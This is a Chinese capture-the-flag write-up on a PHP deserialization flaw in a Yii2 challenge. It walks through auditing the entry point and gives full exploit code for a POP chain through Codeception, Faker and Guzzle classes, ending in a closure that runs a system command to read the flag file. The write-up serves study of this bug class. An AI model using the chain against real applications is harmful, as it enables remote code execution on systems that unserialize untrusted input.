知识点
- php反序列化漏洞
- Yii2 反序列化漏洞
我的解题过程
思路
- 先简单审计index.php
//index.php
<?php
include("closure/autoload.php");
function myloader($class){
require_once './class/' . (str_replace('\\', '/', $class) . '.php');
}
spl_autoload_register("myloader");
error_reporting(0);
if($_POST['data']){
unserialize(base64_decode($_POST['data']));
}else{
echo "<h1>某ii最新的某条链子</h1>";
}
- index.php里的
unserialize(base64_decode($_POST['data']));
是解题的入口
//DefaultGenerator.php
<?php
namespace Faker;
class DefaultGenerator
{
protected $default;
public function __call($method, $attributes)
{
return $this->default;
}
}
- 在DefaultGenerator.php中发现
__call()方法
,我们的思路是先找到一个可以调用DefaultGenerator类中__call()方法
的类,然后将__call()方法
作为跳板来调用可以执行敏感函数并且参数可控的类。难点在于找到合适的类
可利用的类
1.RunProcess.php
<?php
namespace Codeception\Extension;
class RunProcess
{
protected $output;
protected $config = ['sleep' => 0];
protected static $events = [];
private $processes = [];
public function __destruct()
{
$this->stopProcess();
}
public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}
}
- RunProcess.php中的 $this->output->debug(),$this->output 可控,当 $this->output 是DefaultGenerator类的对象 $p 时,这里就变成了 $p->debug() ,因为DefaultGenerator类中没有debug()函数,所以它就会调用
__call()方法
- $process->isRunning() 也类似( $process 就是$this->processes,它也是可控的)
2.PumpStream.php
<?php
namespace GuzzleHttp\Psr7;
class PumpStream
{
private function pump($length)
{
if ($this->source) {
do {
$data = call_user_func($this->source, $length);
if ($data === false || $data === null) {
$this->source = null;
return;
}
$this->buffer->write($data);
$length -= strlen($data);
} while ($length > 0);
}
}
}
- PumpStream.php中的 call_user_func($this->source, $length) 函数第一个参数可控,但是第二个参数不可控,我到这里就不知道咋办了,先留着吧,到时候看大佬的wp
POP链
- RunProcess::$this->output->debug() ==> DefaultGenerator::__call() ==> 参数可控的可执行敏感函数的类(我就卡到这里了)
大佬的解题过程
- 2021/8/26更新
- 看ChaMD5安全团队的wp,他们是参考的这篇文章https://xz.aliyun.com/t/9948
EXP
- 先放exp,然后再一步一步分析
<?php
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('jiang');
}
}
echo base64_encode(serialize(new RunProcess()));
}
namespace Faker{
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('j');
include("closure/autoload.php");
$a = function(){system('cat /flag.txt');};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
}
分析
- 整个链的入口是
RunProcess
类中的$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
,$process
可控,利用$process->getCommandLine());
可以跳转到DefaultGenerator
类中,然后触发__call()
方法 - 这个
__call()
方法返回值可控,就可以跳转到AppendStream
类中,AppendStream
类有__toString()
方法,'[RunProcess] Stopping ' . $process->getCommandLine()
这里将字符串与AppendStream
类的对象连接,就会执行__toString()
方法 __toString()
方法依次调用自己类中的rewind()
方法、seek()
方法,利用可控的$this->streams
,跳转到CachingStream
类中的rewind()
方法,然后会依次调用seek()
方法、read()
方法CachingStream
类中的read()
方法的$this->stream
可控,利用这点可以跳转到PumpStream
类中的read()
方法,然后该方法会自东调用pump()
方法,而pump()
方法里面又敏感函数call_user_func()
,整个利用连就完成了
- 在构造利用链的时候注意要满足类跳转和函数执行的条件